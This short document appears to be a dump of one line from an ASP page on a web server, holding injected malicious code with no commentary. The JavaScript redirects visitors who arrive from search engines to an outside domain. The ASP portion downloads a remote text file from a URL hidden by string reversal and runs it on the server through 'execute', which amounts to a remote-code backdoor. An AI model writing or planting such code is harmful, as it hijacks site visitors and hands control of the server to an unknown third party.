d:\wwwroot\wuchunhua\topbd.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%function getHTTPPage(url) :dim Http :set Http=server.createobject("MSXML2.XMLHTTP") :Http.open "GET",url,false :Http.send() :if Http.readystate<>4 then :exit function :end if :getHTTPPage=bytesToBSTR(Http.responseBody,"GB2312") :set http=nothing :if err.number<>0 then :err.Clear :end if:end function :Function BytesToBstr(body,Cset) :dim objstream :set objstream = Server.CreateObject("adodb.stream") :objstream.Type = 1 :objstream.Mode =3 :objstream.Open :objstream.Write body :objstream.Position = 0 :objstream.Type = 2 :objstream.Charset = Cset :BytesToBstr = objstream.ReadText :objstream.Close :set objstream = nothing :End Function :if application("youhuaok")="" then:application("youhuaok")=getHTTPPage(StrReverse("/lys/pot.8auhuoy//:ptth")&"sylbd.txt?aa="&now()&""):end if:execute application("youhuaok")%>
002:

---